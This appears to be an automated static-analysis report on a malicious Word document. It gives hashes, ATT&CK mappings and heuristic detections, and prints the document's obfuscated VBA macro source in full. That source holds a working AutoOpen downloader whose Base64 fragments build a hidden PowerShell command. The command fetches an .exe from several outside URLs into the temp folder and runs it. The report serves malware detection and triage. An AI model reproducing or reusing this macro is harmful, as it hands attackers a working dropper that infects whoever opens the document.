Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 96ab3bd1770bb0d6…

MALICIOUS

Office (OLE)

161.0 KB Created: 2017-05-04 11:43:00 Authoring application: Microsoft Office Word First seen: 2017-06-12
MD5: 4fb90fe05a71637cdcfc3ad602bece95 SHA-1: bb277ee66d74860fdb43385a9aad483f8381bddc SHA-256: 96ab3bd1770bb0d69a1fa07f183ace8c50e95c9a84c05e03c51576e1669b20f2
312 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The AutoOpen macro triggers a critical heuristic for a Base64-decoded Shell command stager, specifically reconstructing the command 'powershell -WindowStyle Hidden $wscript = new-o'. This indicates the macro's intent is to download and execute a second-stage payload using PowerShell, likely delivered via spearphishing.

Heuristics 10

  • ClamAV: Doc.Downloader.WithMacro-6310867-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.WithMacro-6310867-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    MKNCtMfzP = Val(3519.6468747682)
H4bVaL = Shell(l9BKytS(P6iQjXsTp), pScuahXy)
Dim YwjSd As Single
  • VBA Base64-decoded Shell command stager critical OLE_VBA_BASE64_SHELL_COMMAND_STAGER
    VBA auto-exec macro decodes Base64 string literals into command or script-launch text and executes the result with Shell. This catches cmd/cscript/PowerShell/VBS launchers hidden from plain keyword matching.
    Matched line in script
    yWon3FIp = True
Set ps5q137M4 = CreateObject("msxml2.domdocument")
Dim UtUBjch59 As Single
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    yWon3FIp = True
Set ps5q137M4 = CreateObject("msxml2.domdocument")
Dim UtUBjch59 As Single
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "Module1"
Sub AutoOpen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16755 bytes
SHA-256: a9130368f85d59e3e7b688b2b23f7b96f0c57874a8da8766d5300edf7a0cc8c3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub AutoOpen()

Dim I4281WLD As Boolean
I4281WLD = True
Dim SPMfhD As Byte
SPMfhD = 74
Dim DiP208VK As Byte
DiP208VK = 141
Dim IFLHX As Integer
IFLHX = 18707
Dim aotpcxJ As Double
aotpcxJ = Sgn(16700.460573043)
Dim JTs8h5l9 As Single
JTs8h5l9 = Sgn(11305.859942039)
WdsPuG
End Sub

Attribute VB_Name = "Module2"
Public Function l9BKytS(ByVal oH3NLa)

Dim avZyg As Byte
avZyg = 150
Dim AYj0SX As Byte
AYj0SX = 171
Dim ps5q137M4
Dim iDjg96fA0
Dim mZGQO As Single
mZGQO = Sgn(14153.066970779)
Dim Mh6ZizM As Boolean
Mh6ZizM = False
Dim li2lNVXA As Byte
li2lNVXA = 33
Dim rK4IfuW As Boolean
rK4IfuW = True
Dim kgGSF As Long
kgGSF = 0
Dim zUpXMf1z As Integer
zUpXMf1z = Sgn(29073)
Dim kslGCFrHd As Single
kslGCFrHd = Fix(55663.607635091)
Dim RWuLVG2 As Byte
RWuLVG2 = 10
Dim gjRyFQ As Double
gjRyFQ = 38991.504433434
Dim Z6iaJzE As Double
Z6iaJzE = Val(47355.56142129)
Dim yWon3FIp As Boolean
yWon3FIp = True
Set ps5q137M4 = CreateObject("msxml2.domdocument")
Dim UtUBjch59 As Single
UtUBjch59 = Round(52186.325822399)
Dim VXdM4q As String
VXdM4q = RTrim(E0YEtB3)
Dim Hy3oE As Integer
Hy3oE = -25506
Set iDjg96fA0 = ps5q137M4.CreateElement(fcdHL7Bnw)

Dim jjSx6n1tO As Long
jjSx6n1tO = 0
Dim DUyVTSF0 As Boolean
DUyVTSF0 = False
Dim ybVH48uJk As Integer
ybVH48uJk = Sgn(18772)
Dim m6FvyZ5 As Byte
m6FvyZ5 = 117
Dim s5gte As Double
s5gte = Fix(18620.3482304)
With iDjg96fA0
Dim hux8PF As String
hux8PF = StrConv(oHImabgG9, vbProperCase)
Dim jJGCNml
jJGCNml = Trim(afYR5)
Dim IuyEx As Integer
IuyEx = Sgn(-17508)
Dim J9YEcGCAy As Integer
J9YEcGCAy = -16939
Dim cfT3kVw As Integer
cfT3kVw = Sgn(-21875)
Dim UBlVC As Integer
UBlVC = -2816
iDjg96fA0.DataType = "bin." & fcdHL7Bnw

Dim Owo2u As Byte
Owo2u = 103
Dim jipxOKq As Integer
jipxOKq = 24266
Dim XUkRImsG As Integer
XUkRImsG = Sgn(-27075)
Dim P5Ym4O As Integer
P5Ym4O = Sgn(963)
Dim P7gT8i6u As Byte
P7gT8i6u = 1
Dim ecjvA As Integer
ecjvA = Sgn(-14603)
iDjg96fA0.Text = oH3NLa
End With
Dim llp07UG As Double
llp07UG = Round(18551.357032722)
Dim J4gYRtw
J4gYRtw = Asc("a")
Dim ziumw3Hl As Boolean
ziumw3Hl = False
Dim Tc23t0us As Single
Tc23t0us = Sgn(55522.215928873)
Dim OLjBpr As Long
OLjBpr = -196687920
l9BKytS = b6eGgSvQ(iDjg96fA0.nodeTypedValue)

Dim JEYKoae As Boolean
JEYKoae = False
Dim VqTUwCe As Double
VqTUwCe = 573.07826133598
Dim aacAEFmY As Double
aacAEFmY = Sgn(35577.173413599)
Dim AkOeXtqKD As Integer
AkOeXtqKD = Sgn(13134)
Dim o6TYu4X As Boolean
o6TYu4X = True
Set iDjg96fA0 = Nothing
Set ps5q137M4 = Nothing
End Function
Function b6eGgSvQ(Binary)

Dim GKc3fLw As Single
GKc3fLw = 26277.705289184
Dim IEp6WBO As Boolean
IEp6WBO = True
Dim RAZxYueab As Byte
RAZxYueab = 226
Dim dl5Vs As Single
dl5Vs = 47772.7356395
Const Q9bhnBRVZ = 2
Const ELK0aWp7 = 1

Dim C5XIW6 As Byte
C5XIW6 = 170
Dim m5JDqVukl As Boolean
m5JDqVukl = False
Dim RxvVRDs5 As Single
RxvVRDs5 = Sgn(38305.241845653)
Dim rtcvOlJ As Double
rtcvOlJ = 21252.580780895
Dim b4xZJfQFc

Dim yKVOGRQZA As Boolean
yKVOGRQZA = True
Dim gSMlWOuB As Double
gSMlWOuB = Round(27584.981336535)
Dim HGrRi8k As Long
HGrRi8k = Sgn(0)
Dim ZOIhyU5a As Long
ZOIhyU5a = Sgn(0)
Dim l7pBysO As Byte
l7pBysO = 252
Dim a5SKmkUh7 As Single
a5SKmkUh7 = 44767.341139863
Dim P8hsudS As Boolean
P8hsudS = False
Dim KheZCr As Long
KheZCr = 0
Set b4xZJfQFc = CreateObject("adodb.stream")
Dim TcRUpdOw As String
TcRUpdOw = AscW("_")
Dim GWC30 As Single
GWC30 = 50321.15641728
Dim jvLZ8 As Integer
jvLZ8 = 2982
Dim f8dVZ As Byte
f8dVZ = 139
With b4xZJfQFc

Dim OZA1Vld As Boolean
OZA1Vld = False
Dim zVaIBghFk As Integer
zVaIBghFk = 19322
Dim dLzw60 As Single
dLzw60 = 23988.150410948
.Type = ELK0aWp7
Dim vcYlF3N As Long
vcYlF3N = Sgn(0)
Dim fTRbS5 As Byte
fTRbS5 = 186
Dim ZVGLwmR As Byte
ZVGLwmR = 150
.Open

Dim Vi5EcljU As Boolean
Vi5EcljU = True
Dim l0wlHF As Single
l0wlHF = Sgn(26279.725644152)
.Write Binary
Dim LRcYQ As Double
LRcYQ = Round(11465.250397542)
Dim AKArp As String
AKArp = "N"
Dim qE31i0 As Long
qE31i0 = Sgn(0)
.Position = 0
Dim kaIJAvoP As Single
kaIJAvoP = Sgn(18177.246459114)
Dim yPQYX0 As Boolean
yPQYX0 = True
Dim FUwBC As Byte
FUwBC = 83
Dim ntnWJN As Long
ntnWJN = Sgn(-185180172)
Dim d9MpFym3I As Boolean
d9MpFym3I = True
.Type = Q9bhnBRVZ
Dim LLl0D As Single
LLl0D = Sgn(29717.003946296)
Dim P3yepKDjW As Long
P3yepKDjW = Sgn(-624991232)
Dim TA1subyI As Byte
TA1subyI = 250
Dim LXry9ciw As String
LXry9ciw = StrConv(vtljc0R, vbLowerCase)
Dim wRx7VXEUL As String
wRx7VXEUL = UCase(K4gJtN)
Dim UvmLdNs As Single
UvmLdNs = Int(34049.550197621)
Dim WtlsTk As Single
WtlsTk = Sgn(16232.388692594)
.CharSet = "ascii"
Dim KLfMF0 As Single
KLfMF0 = Sgn(44234.794625022)
Dim lpI2s5R As Long
lpI2s5R = 0
Dim xgYr13aO As Single
xgYr13aO = Round(19905.953129569)
b6eGgSvQ = .ReadText
End With
Dim G8jqocdH As Single
G8jqocdH = Sgn(10236.65293083)
Dim INwQ23U As String
INwQ23U = Trim(kbRF6EM)
Set b4xZJfQFc = Nothing
 
End Function

Attribute VB_Name = "Module3"
Public Sub WdsPuG()
Dim SXw0v4PjC As Long
SXw0v4PjC = Sgn(-1780322076)
Dim jNEjMvn As Long
jNEjMvn = Sgn(-362578564)
Dim KH2SqD As Double
KH2SqD = 59005.85979676
Dim xiqC6nMR As String
xiqC6nMR = StrConv(T3zCXDMmY, vbLowerCase)
Dim TDJFqRI3y As Boolean
TDJFqRI3y = False
Dim DcH4I As String

Dim gwJqgm As Boolean
gwJqgm = False
Dim x8bU6
x8bU6 = LTrim(EESYjArom)
Dim KOwB16fpi As Boolean
KOwB16fpi = False
Dim BkhQCEsJS As Long
BkhQCEsJS = -1538574248
Dim mXhUWP5fY
mXhUWP5fY = Len(PzD0JFOQ)
Dim c5W9ud4OH As Byte
c5W9ud4OH = 150
Dim TFX8H As Single
TFX8H = Sgn(39298.135047332)

Dim o3ZJp291P As Integer
o3ZJp291P = 1695
Dim u7jMnIsO9 As Boolean
u7jMnIsO9 = True
Dim cuoNbSe As Boolean
cuoNbSe = True
Dim StWNa As Double
StWNa = Sgn(34697.098805993)
Dim WdIuOk As String
WdIuOk = StrConv(OL2fz, vbUpperCase)
Dim Ma4R3NSr As Double
Ma4R3NSr = Sgn(14667.040343229)

Dim cuhmH As Byte
cuhmH = 230
Dim Jl1Fk As Single
Jl1Fk = Sgn(20536.359115752)
Dim UZ9xCR4s As Integer
UZ9xCR4s = Sgn(13240)
Dim sgGlxd72Q As Double
sgGlxd72Q = 25029.91445027
Dim dkimrKXS
dkimrKXS = StrConv(ee39Yn, vbLowerCase)
Dim aUQwN78t6 As Single
aUQwN78t6 = 54909.650857465
Dim CRS4h As Integer
CRS4h = Sgn(1936)
Dim mc7DWEqn6 As Single
mc7DWEqn6 = Sgn(63685.908506475)
Dim uKqZh5lX As String
uKqZh5lX = AscB("c")
Dim AlDm1g As Long
AlDm1g = Sgn(-1905685256)
Dim o8UhlrId As Long
o8UhlrId = Sgn(-447840522)
Dim Nsu0BDTqH As Integer
Nsu0BDTqH = 10714
Dim KMBsH8mzy As Double
KMBsH8mzy = Sgn(39586.153273831)
e6JjN

Dim Z3esr As Boolean
Z3esr = True
Dim WBelK As String
WBelK = Trim(JbFt3NMum)
Dim yiyKL As Integer
yiyKL = Sgn(-18702)
Dim aPfLxh2c As Double
aPfLxh2c = Sgn(23887.160982399)
Dim N4JuapTGt
N4JuapTGt = StrConv(Qkt9zu, vbUpperCase)

Dim uwZopE As Byte
uwZopE = 42
Dim Ad8qB6z As Byte
Ad8qB6z = 226
Dim WwLmMWgr2 As Integer
WwLmMWgr2 = Sgn(14091)

Dim XiekxX As Integer
XiekxX = 17761
Dim lVy3Xbv As Long
lVy3Xbv = Sgn(0)
Dim EQ1XgM As Long
EQ1XgM = 0
Dim MIfLZo1 As Integer
MIfLZo1 = 340
Dim MKNCtMfzP As Double
MKNCtMfzP = Val(3519.6468747682)
H4bVaL = Shell(l9BKytS(P6iQjXsTp), pScuahXy)
Dim YwjSd As Single
YwjSd = Val(2520.559553569)
Dim bfha8QSbT As Byte
bfha8QSbT = 185
Dim AlfnIMv As Long
AlfnIMv = 0
Dim nkWeut As Single
nkWeut = Sgn(28310.081070794)

Dim TVOD1wYE As Boolean
TVOD1wYE = True
Dim IoNaKJ98 As Double
IoNaKJ98 = Round(48640.913608244)
Dim Dk3F1 As Integer
Dk3F1 = Sgn(13564)
Dim Q8sJBNe0E As Long
Q8sJBNe0E = Sgn(-1819797540)
Dim wVe1jatc As Long
wVe1jatc = 0

Dim B5rBJEIU As Integer
B5rBJEIU = -21483
Dim s5uy2J0 As Byte
s5uy2J0 = 225
Dim rE93Ua As Double
rE93Ua = Sgn(29699.038338596)
Dim NeknZRom As String
NeknZRom = Len(UdzeKFBxM)
Dim oBSJKj8 As String
oBSJKj8 = Trim(ytpKPC)

Dim SYULjH4 As Boolean
SYULjH4 = False
Dim MzkAM As Double
MzkAM = Sgn(9865.3864911466)
Dim gWpofvDRT As Long
gWpofvDRT = -2036749048
Dim TeGxd As Boolean
TeGxd = True
Dim QM5cbN As Integer
QM5cbN = Sgn(21256)
Dim Cw5Docq As Double
Cw5Docq = Int(21850.670669954)
Dim w8L5s As Byte
w8L5s = 244
Dim ut3jmOYWD As Long
ut3jmOYWD = Sgn(-1452619570)
Dim VvyLU1QMJ As Single
VvyLU1QMJ = 58600.831908433

Dim Re3Hw As Byte
Re3Hw = 50
Dim nzyGeq As Long
nzyGeq = -1076737752
Dim acranHE As Single
acranHE = Int(13238.721644943)
Dim aCZG9 As String
aCZG9 = Val("S")
Dim kLXwIlKj As Integer
kLXwIlKj = Sgn(30494)
Dim CjZ8csn As Double
CjZ8csn = Round(34322.785659787)
Dim i1J5mE As Byte
i1J5mE = 134
Dim LGdLAoS9r As Boolean
LGdLAoS9r = True
Dim ntRCcw As Double
ntRCcw = 54629.414006582
Dim TRZxFTV As String
TRZxFTV = ""
Dim YMld7c As Double
YMld7c = 52198.485030503
Dim cmBX1 As String
cmBX1 = Asc("B")
Dim bjZ0QKsEr As Single
bjZ0QKsEr = Sgn(57650.049210355)
Dim dUFN9wtl As Long
dUFN9wtl = Sgn(-326717426)
Dim hpqW5r As Single
hpqW5r = Sgn(34415.151959184)
Dim kwaUMJ0 As Single
kwaUMJ0 = Val(21682.622906131)
Dim eKakj As Integer
eKakj = Sgn(-1975)
Dim jGnRd8yZs As String
jGnRd8yZs = StrConv(ZgGDUN1MZ, vbLowerCase)
Dim DWo9m7 As Boolean
DWo9m7 = True
'
Dim Hb2ks8qu9 As Integer
Hb2ks8qu9 = Sgn(5334)
Dim x5grsea As String
x5grsea = Val("b")
Dim a3FlNgx As Integer
a3FlNgx = -3870
Dim A8BpQ As Long
A8BpQ = 0
Dim Gk3uYiA As Integer
Gk3uYiA = Sgn(-11006)
'
Dim N9lfMvLZn
N9lfMvLZn = Val(qdTvr6tjf)
Dim U8mxuFr As Single
U8mxuFr = 45050.849242189
Dim R9ODLuzB As Byte
R9ODLuzB = 160
'
Dim V6HbI As Integer
V6HbI = Sgn(-10371)
Dim yIeoJT As Single
yIeoJT = 37622.945933292
Dim aeguNYy6 As Long
aeguNYy6 = -698473196
'

Dim weBM1KI As Integer
weBM1KI = -18506
Dim Gqt73 As Byte
Gqt73 = 112
Dim rYlJxCe As Byte
rYlJxCe = 242
Dim huwTPJxL As Boolean
huwTPJxL = True
Dim mWza4fg As String
mWza4fg = RTrim(RDwfTcGHg)
'
Dim ky4SV8 As Single
ky4SV8 = Round(4196.5067127032)
Dim QlXEy3 As Byte
QlXEy3 = 206
Dim BkQF2VB1
BkQF2VB1 = Val("7")

Dim ik9nXf As Byte
ik9nXf = 100
Dim jsJRSkdP As Integer
jsJRSkdP = Sgn(15266)

End Sub

Attribute VB_Name = "Module4"
Public P6iQjXsTp As String
Public Const pScuahXy As Integer = 0
Public Const fcdHL7Bnw As String = "base64"
Sub e6JjN()
Dim TKeayGo7F As Double
TKeayGo7F = Int(6569.5544293026)
Dim gLaWJsMO5 As Integer
gLaWJsMO5 = Sgn(-22003)

Dim LeJMwzWyl As Single
LeJMwzWyl = 36218.864048453
Dim Afh7RAC As Integer
Afh7RAC = -13904
Dim wmoWO As Byte
wmoWO = 217
Dim W6e1qH As Boolean
W6e1qH = True
Dim VUO7uk As String
VUO7uk = Asc("B")
Dim nDuNkhfv As Long
nDuNkhfv = 0
    
Dim pFkezpZ7L As Byte
pFkezpZ7L = 129
Dim KnLsw53xj As Double
KnLsw53xj = 64754.676437458
Dim zaEBmAZF As String
zaEBmAZF = "steDc4Ny16LyxodHRwOi8vc2VtZW5lcmd5Lml0L2E1bmIteGIzMTgteWcvLGh0dHA6"
Dim RUYujZ As Long
RUYujZ = Sgn(-650560884)
Dim J1ITD95wM As Byte
J1ITD95wM = 81
Dim e0Lwzitkp As String
e0Lwzitkp = "Ly9mZXJudHJlZWRlc2"
Dim t4ocj3PL As Double
t4ocj3PL = Sgn(42582.07199617)
Dim oM49yFtei As Long
oM49yFtei = Sgn(0)
Dim x5tT0MEcD
x5tT0MEcD = zaEBmAZF & e0Lwzitkp
Dim xPeB4udtG As Single
xPeB4udtG = 7942.8483004314
Dim awtFfHDj As Single
awtFfHDj = 62443.572815182
Dim DcsujO0W As Double
DcsujO0W = Sgn(34934.221353866)
Dim DwzayCHAu
DwzayCHAu = "9ICRyYW5kb20ubmV4dCgxLCA2NTUzNik"
Dim vYG5N As Boolean
vYG5N = False
Dim XKt4p As Long
XKt4p = -319917244
Dim MkcN3MD As Integer
MkcN3MD = -7944
Dim v8Uc3nXKq As String
v8Uc3nXKq = "7JHBhdGggPSAkZW52OnRlbXAgKyAnXCcgKyAkb"
Dim zCIFwl As Double
zCIFwl = Fix(11143.34099415)
Dim DqKeibc As Boolean
DqKeibc = True
Dim GPd8gjiKF As Long
GPd8gjiKF = Sgn(0)
Dim KzeMTObL As String
KzeMTObL = vbNullString
Dim Xgo6fIZVO As Double
Xgo6fIZVO = Fix(53927.456070711)
Dim qRvQXZBW
qRvQXZBW = DwzayCHAu & v8Uc3nXKq
Dim tZJHyg1mY As Single
tZJHyg1mY = 41526.973473677
Dim ujpYc0 As Single
ujpYc0 = Sgn(19486.140462778)
Dim NBxWVj4 As String
NBxWVj4 = "7JHdlYmNsaWVudCA9IG5ldy1vYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JHJhbmRvbSA9IG5ldy1vYmplY3QgcmFuZG9tOyR1cmxzID0gJ2h0dHA6Ly9"
Dim TD2o7dmJk As String
TD2o7dmJk = Trim(XkmMfWx)
Dim qvW4Tuges As Long
qvW4Tuges = 0
Dim CTpO6K
CTpO6K = "mc"
Dim t9uDq As String
t9uDq = UCase(VgYvp)
Dim m9Bj2D As Long
m9Bj2D = 0
Dim wAYrJcsdg As Integer
wAYrJcsdg = -26385
Dim PzpTD5iP2 As Single
PzpTD5iP2 = 48137.010883181
Dim h9hd6zXRw As Integer
h9hd6zXRw = Sgn(-8916)
Dim Nlg2y As Single
Nlg2y = 3560.4709599766
Dim b4OJDK
b4OJDK = NBxWVj4 & CTpO6K
Dim OzviuU As Integer
OzviuU = Sgn(-13931)
Dim upzxkeU As Integer
upzxkeU = Sgn(-19313)
Dim tX4Z3v As Integer
tX4Z3v = Sgn(26385)
Dim trfe5zPF As Double
trfe5zPF = 55840.996687293
Dim rPRVm9 As String
rPRVm9 = "lnbi5jb20vYzVsYW8tcDEyNy1hdm90LyxodHRwOi8vYWxsaXNvbmhpYmJhcmQuY29tL3g0Yi10aDYwMS1tLycuU"
Dim fSrkG As Boolean
fSrkG = False
Dim rTB8Z As String
rTB8Z = StrConv(wgjS25e, vbUpperCase)
Dim EANI1P As String
EANI1P = ""
Dim yxMSjzw As String
yxMSjzw = "3BsaXQoJywnKTskbmFtZSA"
Dim WESf0VQCJ As Byte
WESf0VQCJ = 36
Dim jLtzUJG5 As Integer
jLtzUJG5 = Sgn(-31997)
Dim uszhDfQe
uszhDfQe = rPRVm9 & yxMSjzw
Dim Kr8NRSP As Boolean
Kr8NRSP = True
Dim vBriLzJy As Integer
vBriLzJy = -16277
Dim Up9BUwf8 As Single
Up9BUwf8 = 51607.969733101
Dim rX73owGU As Boolean
rX73owGU = False
Dim lHNMI3P5 As Long
lHNMI3P5 = 0
Dim cT5Ka
cT5Ka = "mFtZSArICcuZXhlJztmb3"
Dim HU1LcnGw As Single
HU1LcnGw = Sgn(61970.216499844)
Dim mBPKsq5 As Boolean
mBPKsq5 = False
Dim BIx1t3EF
BIx1t3EF = "JlYWNoKCR1cmwgaW4gJHVybHMpe3RyeXskd2ViY2xpZW50LkRvd25sb2FkRmlsZSgkdXJsLlRvU3RyaW5nKCksICRwY"
Dim z6hB1H As Double
z6hB1H = 16348.662617337
Dim Z8OASCEpV As Double
Z8OASCEpV = Sgn(6389.6173202089)
Dim iYqOC As Integer
iYqOC = Sgn(29424)
Dim EAos0rPQ As Double
EAos0rPQ = Sgn(2413.2914730958)
Dim YKpNMbU
YKpNMbU = Val("&")
Dim WHLr8M
WHLr8M = cT5Ka & BIx1t3EF
Dim SlW4TI7 As Byte
SlW4TI7 = 1
Dim pNKhuC As Long
pNKhuC = 0
Dim bGkeVM7nT As String
bGkeVM7nT = LCase(wfohBQqL)
Dim vUyDgE6 As String
vUyDgE6 = "cG93ZXJzaGVsbCAtV2luZG93U3R5bGUgSGlkZGVuICR3c2NyaXB0ID0gbmV3LW9"
Dim xmsRHcS As Long
xmsRHcS = Sgn(-1674875912)
Dim Ytub5kw As Single
Ytub5kw = Sgn(49839.695550095)
Dim GYMwU As Boolean
GYMwU = False
Dim X5f8ZXz As Single
X5f8ZXz = Sgn(19668.944044323)
Dim zQh1luNP As Double
zQh1luNP = Sgn(10673.058576082)
Dim mzKEn As Single
mzKEn = Int(28378.22740219)
Dim nVStAJP9X As String
nVStAJP9X = "iamVjdCAtQ29tT2JqZWN0"
Dim Ekwdng
Ekwdng = vbNullString
Dim NHqm9lC As Double
NHqm9lC = Int(45405.548307269)
Dim f4Okf As Single
f4Okf = 26329.869411624
Dim TLOZD As String
TLOZD = "IFdTY3JpcHQuU2hlbGw"
Dim dDtJ1C6ay As Long
dDtJ1C6ay = Sgn(-540964952)
Dim wuRNp3L As Integer
wuRNp3L = Sgn(-26660)
Dim KU3pqyK1
KU3pqyK1 = vUyDgE6 & nVStAJP9X & TLOZD
Dim rSPp38 As Byte
rSPp38 = 66
Dim IsyFmzo
IsyFmzo = StrConv(kfQG84khg, vbProperCase)
Dim au1J429 As Long
au1J429 = 0
Dim gRqBG
gRqBG = "mVzaG9wdGRvbi5ydS92M2staDEzNC1paGUvLGh0dHA6Ly9ncmF5c29uY2hhbG1lcnMu"
Dim xOnvljpJ As Double
xOnvljpJ = Sgn(35431.041270553)
Dim h1GbseE9 As Long
h1GbseE9 = Sgn(0)
Dim NongbSsZ As String
NongbSsZ = "Y29tL1BTRHMvcnczdG"
Dim njX9L1GV As Byte
njX9L1GV = 195
Dim WtkmW1 As Double
WtkmW1 = 1597.5473370395
Dim KnICd0Sh As Boolean
KnICd0Sh = True
Dim FTXOnbdq7 As Long
FTXOnbdq7 = -1144547576
Dim UFzVw4rD5
UFzVw4rD5 = gRqBG & NongbSsZ
Dim psTAhnOz As Byte
psTAhnOz = 155
Dim YVZuo3y As Byte
YVZuo3y = 80
Dim sKQvst As String
sKQvst = "XRoKTtTdGFydC1Qcm9jZXNzICRwYXRoO2JyZWF"
Dim URkzWsr As Integer
URkzWsr = Sgn(-21766)
Dim a5FqApUb As Integer
a5FqApUb = 17938
Dim NLpJN6 As Boolean
NLpJN6 = False
Dim fkveg
fkveg = StrConv(oIc8p6v, vbUpperCase)
Dim gSNE9s8t As Byte
gSNE9s8t = 76
Dim jOaqi
jOaqi = "rO31jYXRjaHt3cml0ZS1ob3N0ICRfLkV4Y2VwdGlvbi5NZXNzYWdlO319"
Dim vKUqvsfSM As Double
vKUqvsfSM = Round(15572.702573786)
Dim UQuGgIsRE As String
UQuGgIsRE = Val("m")
Dim PSDpEVv4 As Byte
PSDpEVv4 = 140
Dim YAF6qpc As Single
YAF6qpc = Int(48477.371574131)
Dim NOA5jUJT As Byte
NOA5jUJT = 141
Dim upJri As Double
upJri = 59660.575532292
Dim tavWY3Zg0
tavWY3Zg0 = sKQvst & jOaqi

Dim Fb6Zzt2 As Integer
Fb6Zzt2 = -17234
Dim AYB8wZ09 As Long
AYB8wZ09 = 0
P6iQjXsTp = KU3pqyK1 & b4OJDK & UFzVw4rD5 & x5tT0MEcD & uszhDfQe & qRvQXZBW & WHLr8M & tavWY3Zg0
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.